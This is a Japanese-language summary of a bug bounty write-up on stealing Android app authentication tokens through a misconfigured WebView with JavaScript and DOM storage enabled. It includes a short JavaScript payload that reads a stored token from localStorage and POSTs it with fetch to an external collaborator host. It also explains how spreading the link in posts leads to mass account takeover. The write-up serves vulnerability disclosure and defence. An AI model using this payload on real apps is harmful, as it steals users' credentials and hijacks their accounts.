Hello there, ('ω')ノ
誤って構成された WebView でワンクリックで認証トークンを盗むを。
脆弱性:
Android
Webview
アカウントの乗っ取り
記事:
https://0xwise.medium.com/are-clicking-links-safe-f7cfcae2e421
今回は、いくつかのアプリで発見した Android WebView 攻撃について。
具体的には、攻撃者の Web サイトまたは URL へのリンクを含む
メッセージ、コメント、または投稿を投稿するだけで、
ワンクリック アカウント乗っ取りをどのように達成できたかを。
Android ユーザがリンクをクリックすると、攻撃者である自分が
認証トークンとアカウント データを盗むことができて。
WebView は、開発者がアプリ内での Web ページの表示方法を
カスタマイズできるようにするコンポーネントで。
これには、JavaScript、Cookie、およびユーザ入力のサポートが含まれて。
また、HTML、CSS、および画像のレンダリングを可能にし、
ユーザがリンクをクリックしてフォームを送信するなど、
Web コンテンツを操作できるようにして。
基本的に、これはアプリ コンテンツ用のブラウザで。
詳細:
HackerOne のプライベート バグ報奨金プログラムで Android アプリを
探しているときに、アプリを閲覧しているときに WebView が次のコードを実行し、
ユーザの認証トークンとアカウント データをローカル ストレージに
保存していることを発見して。
javascript:window.localStorage.setItem("u", JSON.stringify({"oldToken":"Basic NjQwMDE1N2EwMTA4MzI0NTI1Y2NiOWJmOmQ3MDVkZDkzLWRjMGMtNxxxxxxxx","id":"61957b5843xxxxx","email":"secret@myemail.com","username":"0xWise","referralCode":"","hasApiAccount":false,"hasMobileAccount":true,"hasWebAccount":true,"hasPasswordSet":true}));
このコードは、項目「u」の localStorage 値が上記のコードのデータと
等しいことを意味して。
コード内のデータには、自分のアカウントの JWT 認証トークンと
等しい「oldToken」があり。
(注:トークンは有効であり、古いものではなく)
webview アクティビティは、setJavaScriptEnabled(true)
および setDomStorageEnabled(true) を許可するように設定されて。
これは、webview 内でリンクをクリックして開くと、JavaScript を実行し、
問題なく localStorage および sessionStorage オブジェクトに
アクセスできることを意味して。
この脆弱性を検出 and/or 悪用するために、サーバに次のスクリプトを
作成して。
(Replit ホスティング サービスを使用)
alert(window.localStorage.getItem('u'));
fetch('https://eq8u3apw7h7746qv0l5madalnct3ht5i.oastify.com/log', {
method: 'POST',
mode: 'no-cors',
body:window.localStorage.getItem('u')
});
その後、Android アプリに移動し、Replit サーバの
URL (例: https://xss-redacted.repl.co) を含む投稿を作成し。
Android アプリのユーザまたは被害者がリンクをクリックすると、
次のような結果が得られて。
影響:
攻撃者が投稿、コメント、プロフィール Web サイトなどで制御する URL は
WebView 内で開くことができ、攻撃者はアクセスしてローカル ストレージから
ユーザーのデータを盗むことができ。
このデータには、アカウントの乗っ取り (ATO) につながる
ユーザ認証トークンが含まれていて。
さらに、この脆弱性は、攻撃者が投稿やコメントなどを通じて
エクスプロイト URL を簡単に広めることができるため、
大量のアカウントの乗っ取りにつながる可能性があって。
Best regards, (^^ゞ